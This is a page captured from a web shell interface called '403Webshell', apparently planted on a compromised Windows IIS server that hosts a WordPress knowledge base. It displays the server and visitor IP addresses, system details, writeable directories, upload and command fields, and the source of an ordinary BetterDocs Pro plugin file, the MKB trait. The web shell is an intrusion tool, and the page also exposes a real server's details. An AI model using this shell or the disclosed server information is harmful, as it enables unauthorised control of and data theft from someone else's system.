403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs-pro/includes/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs-pro/includes/Traits/MKB.php
<?php

namespace WPDeveloper\BetterDocsPro\Traits;

trait MKB {
    public function reset_attributes() {
        $this->attributes['term_icon_meta_key'] = 'knowledge_base_image-id';

        // $this->attributes['terms_order'] = 'ASC';
        if ( betterdocs()->settings->get( 'alphabetically_order_term', false ) ) {
            $this->attributes['terms_orderby'] = 'name';
        } else {
            $this->attributes['meta_key']      = 'kb_order';
        }
    }

    public function term_permalink( $permalink, $term, $taxonomy ) {
        return get_term_link( $term->term_id, 'knowledge_base' );
    }

    public function kb_terms( $term, $taxonomy ) {
        $current_term = get_term_by( 'slug', $term->slug, $taxonomy, OBJECT );
        $_term_attr   = get_term_meta( $current_term->term_id, 'doc_category_knowledge_base', true );

        if ( ! empty( $_term_attr ) ) {
            $_term_attr = array_values( array_filter($_term_attr, function( $item ){
                return ! empty( $item );
            }) );
        }

        return $_term_attr;
    }

    public function get_first_kb_slug( $term, $taxonomy ) {
        $_term_attr = $this->kb_terms( $term, $taxonomy );

        if ( empty( $_term_attr ) ) {
            $_kb_slug = 'non-knowledgebase';
        } else {
            $_kb_slug = $_term_attr[0];
        }

        return $_kb_slug;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit